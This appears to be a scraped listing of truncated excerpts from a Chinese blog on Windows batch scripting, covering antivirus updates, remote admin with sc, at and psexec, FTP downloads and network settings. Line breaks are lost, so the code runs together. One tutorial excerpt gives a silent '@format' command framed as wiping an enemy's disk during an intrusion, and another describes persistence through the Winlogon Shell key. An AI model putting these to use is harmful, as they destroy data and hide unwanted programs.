因做了一个脚本,使用Mcafee SuperDat进行查毒(http://blog.csdn.net/scz123/archive/2006/11/02/1362566.aspx),但病毒码更新时,都要到网站上去手动下载,固建此脚本,使用FLASHGET下载后的的病毒检查功能来运行,以达到让自动检查并下载Mcafee SuperDat更新的功能。 @echo offecho.echo ==================================================echo FLASHGET下载检测脚本,用来自动更新MCAFEE SUPERDATecho created by scz 20061102echo ==================================================rem 请使用FLASHGET的病毒检测功能,指定为该脚本rem 主要使用FLASHGET下载更新页面时使用rem 让FLASHGET1.5以上版本定时下载更新页面:"E:\Program Files\FlashGet\flashget.exe" http://
@echo offecho ==================================================================echo 使用该脚本前建议先进行杀毒,并在管理员权限下运行该脚本。echo 脚本将在WINDOWS目录下生成rundl132.exe、logo1_.exe、dll.dll隐藏文件echo 创建的文件大小为0,如果不是0,可能是木马。echo created by scz 20061101echo ==================================================================echo.cd /d %windir%fc logo1_.exe dll.dll >nul 2>&1 && fc rundl132.exe dll.dll >nul 2>&1 && (echo 系统已做过免疫。&goto end)attrib rundl132.exe -r -h -s >nul 2>&1del rundl132.exe >nul 2>&1 if exist rundl132.exe (ec
@echo offrem 可以创建一个快捷方式到D:\Documents and Settings\All Users\「开始」菜单\程序\启动rd %temp% /q /s & md %temp%rd %tmp% /q /s & md %tmp%rd %windir%\temp /q /s & md %windir%\temprd "%USERPROFILE%\Local Settings\Temporary Internet Files" /q /s
@echo offif %OS%==Windows_NT GOTO WINNTGOTO WIN98 :WINNTcd /d %windir%\SYSTEM32GOTO BEGIN :WIN98c:CD %windir%\SYSTEMGOTO BEGIN :BEGIN@echo 正在处理中....@echo 请耐心等待,处理完毕后会自动退出......rundll32.exe advpack.dll DelNodeRunDLL32 dacui.dllrundll32.exe advpack.dll DelNodeRunDLL32 icatalog.mdbstart mshta.exe /registerregsvr32 setupwbv.dll /sregsvr32 wininet.dll /sregsvr32 comcat.dll /sregsvr32 shdoc401.dll /sregsvr32 shdoc401.dll /i /sregsvr32 asctrls.ocx /sregsvr32 oleaut32.dll /sregsvr32 shdocvw.dll /I /sreg
在公司,有个部门反映底下员工经常看电影,听音乐,固要求将所有计算机的声卡禁用。检查注册表发现,WINDOWS存在一sysaudio服务,如下图: 其中start值默认为3(即处于手动模式),将值修改为4(即禁用)后,重启计算机,设备管理中的核心声音设备就会出现叹号(如下图),使声卡不工作,达到了禁用声卡的目的。 所以我们可以使用组策略修改注册表,或者使用批处理,用sc或psservice等远程服务管理命令进行远程操作,禁用这一服务即可: net use \\192.168.1.2 /user:computername\administrator * sc \\192.168.1.2 config sysaudio start= disabled 当计算机重启后,就不能使用声卡了。当然,不能给用户管理员权限,否则也是可以改回来的。
http://blog.csdn.net/hjune/archive/2005/02/18/292454.aspx 这是一篇技术教程,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。.先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个“比较合适的”,而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”,那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!按照我的理解,批处理的本质,是一堆DOS命
1. 编码规范害死人^^ SET YEAR = 2006 ECHO %YEAR% 上面这段代码,虽然看上去干净整洁,但却无效,echo的时候啥也没输出。经过比较其他正常批处理文件后发现,set的=前后不能有空格,晕~也就是说要改成SET YEAR=2006 就对了 2. 按指定格式取得当前日期 REM 通过把系统定义的%DATE%变量,按照“/”符号拆分,分别得到年月日。 FOR /F "tokens=1,2,3,4 delims=/" %%I IN ("%DATE%") DO SET YEAR=%%I&& SET MONTH=%%J&& SET DAY=%%K REM 使用年月日按指定格式组合成新的日期。 SET TODAY="%YEAR%-%MONTH%-%DAY%" 3. 取得包含或不包含关键词的文件列表 dir /b | find "XXX" 取得包含关键词XXX的文件名列表 dir /b | find /v "XXX" 取得不包含关键词XXX的文件名列表 4. 将信息保存或添加到文件 for/? > for.txt 取得包含FOR函数的说明的文件 dir
该脚本来比较自上次执行该脚本以来,当前文件夹的子文件夹与上次的差别 @echo off setlocal set dircmd=/ad /on /b if not exist old.txt ( dir > old.txt goto lblEndLocal ) echo. > log.txt dir > new.txt echo N | comp old.txt new.txt echo. if "%errorlevel%" == "0" ( goto lblEndLocal ) echo -------------------------------------- >> log.txt echo 已删除的文件夹: >> log.txt for /F "tokens=*" %%o in (old.txt) do ( call :lblSubProcessDeleted "%%o" ) echo. >> log.txt echo -------------------------------------- >> log.txt echo 新增的文件夹: >> log.t
使用for命令读取dir /tc /o-d /a的结果,可以分成4段,前两段为日期与时间,第3段为目录或文件大小,第4段为文件名或目录名。然后根据第1段和第2段与需要的时间进行比较,决定是否删除文件 @echo offrem cd /d f:\temprem mDateTime格式: yyymmddHHmmset mDateTime=200608161907for /f "skip=4 tokens=1,2,3,4* delims=<>" %%i in ('dir /a /-c /tc /o-d') do call :proc %%i %%j %%k %%lgoto end :procset aDate=%1set aTime=%2set aType=%3set aFile=%4set aDatetime=%aDate:~0,4%%aDate:~5,2%%aDate:~8,2%%aTime:~0,2%%aTime:~3,2%if /i "%aDateTime%" lss "%mDateTime%" (if NOT "%aType%"=="DIR" attrib "%aFile%" -r
一.简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on off}] [message] Sample:@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
BAT(批处理)文件中是否可以用变量?比如以下这段:@copy *2006-09.mdb D:\BAT\telDB 想将2006-09用变量来取,直接取得当前日期的年-月,不用每月改文件名.可以实现吗?
以前在CSDN上提交的FAQ,不能通过搜索引擎来搜索CSDN的FAQ,找了好一会才找到。现CSDN的FAQ只有CSDN用户才能正常访问,固转到BLOG。 Q:现有50台电脑需要映射一网络驱动,网络映射盘必须为F盘。问题是目前有部分电脑已有本地F盘,需要把本地的F盘的盘符更换成J后,再映射网络驱动到F盘。由于电脑多,故想用批处理文件解决。 A:---------------------------------------------------------------可以使用diskpart 脚本 批处理内容:echo select volume f >remove.txtecho remove >>remove.txtdiskpart /s r
c:cd \cd Program Files\Basesoft\KingbaseES\4.1\binsys_dump -f c:\dzzw.dmp -h 172.16.204.24 -p 54321 -U SYSTEM -W SYSTEM TEST
当您输入项目文件时,IDE会在项目文件的父目录中查找与该项目文件具有相同基名称的 .sln 文件。如果不存在这样的 .sln 文件,IDE 将查找引用该项目的单个 .sln 文件。如果不存在这样的单个.sln 文件,则 IDE 将创建一个具有默认 .sln 文件名且未保存的解决方案,其基名称与项目文件的基名称相同。命令行编译:devenv solutionfile.sln /build solutionconfig [ /project projectnameorfile [ /projectconfig name ] ] 可用的命令行开关: /Build 使用指定的解决方案配置生成解决方案或 项目。
FTP不支持目录的下载,不过FTP命令提供了mget命令,允许多文件下载,但每下载一个文件都需要确认,不能自动完成。本文主要介绍使用批处理,结合FTP的相关命令来实现批量文件的下载,以便达到目录下载的目的。 大致想法如下: ftp -s:filename hosts >result.txt 执行脚本,并将结果定向输出到result.txt脚本内容,如cd mydirlsbye可以将mydir命令列出然后使用批处理分析result.txt从150 Opening ASCII mode data connection for file list.的下一行开始算,直到226 Transfer complete都是要下载的内容然后用批处理加ftp脚本,使用get命令逐个下载 但实际过程中发现,在FTP脚本中使用get有问题,提示参数错误,无法使用。 查看了ftp的帮助ftp -? G:>ftp -?Transfers files to and from a computer running an FTP server service(sometimes called a
源址: 首先需要确定... ·安全模式不会启动"Task Scheduler"服务,计划任务相关。也就是说,无法依靠计划中"当系统启动"或"当登陆"时加载该程序;·安全模式下注册表常规加载项不会发生作用,包含:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run·安全模式下无法应用 "程序" >> "启动" ... 以次执行自动加载...解决方案:·系统启动会加载常规系统程序"explorer.exe",故此可将可执行程序或脚本与该文件(explorer,exe)捆绑;·通过修改注册表实现,方法:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonShell=E
fosjos(无聊的菜鸟程序员) ( ) 信誉:100 2006-7-20 12:18:23 得分: 0 首先: 注册表添加一个或两个 REG_DWORD 值: HKEY_LOCAL_MACHINE\Software\Microsoft\Command
一般我们为企业 或者 网吧做网络工程的时候 最后ghost系统 以后就要设置ip 手工设置ip是很累得 且花时间 ,有人说,为什么不用dhcp自动分配啊,因为很多企业 和 网吧 要求对每台机进行编号 ,虽然dhcp是按顺序分配ip,但是你永远不知道分配的ip是不是对应位置编号 所以我就写了这个脚本来完成任务,只要事先在母盘 修改好 ip前三组 子网 网关 以及dns 剩下的最后一组ip 则只要按照提示输入即可 ,脚本设置完以后会重启 并删除源程序 不会对机子 造成任何安全上的问题 或者 故障
@ECHO 捆绑IP和MAC地址,解决局域网内盗用IP@ECHO ARP -s 192.168.10.59 00 -50-ff-6c-08-75@ECHO 解除网卡的IP与MAC地址的绑定@ECHO ARP -D IP@ECHO 显示示IP和MACARP -A@PAUSE@ECHO ====================================================================
常用批处理1.IP地址设为自动,如果是操作系统是英文版"本地连接"改为"Local Area Connection"@ECHO ====================================================================@ECHO 自动获取网络配置@NETSH INTERFACE IP SET ADDRESS "本地连接" DHCP@NETSH INTERFACE IP SET DNS "本地连接" DHCP@ECHO 按任意键关闭窗口@PAUSE@ECHO ====================================================================
打开记事本NOTEPAD,将以下部分COPY到里面,保存成.BAT文件(批处理文件,文件后缀为.bat),就可以双击直接运行了。
rem 为了防止目标主机没有开启或网络故障造成的ipc连接时间过长,故使用_rem 了ping命令,一旦发觉ping命令返回"Request timed out" 程序就跳转_rem 到errping程序会同时会生成报告文件"无法ping通的终端ip地址.txt"以_rem 便记录相应主机.如果未返回"Request timed out"字符传,程序跳转_rem.:erratecho "终端 %1 at命令失败">>at命令失败ip地址.txtecho "终端 %1 at命令失败"rem pause.
局域网批处理应用-psexec版。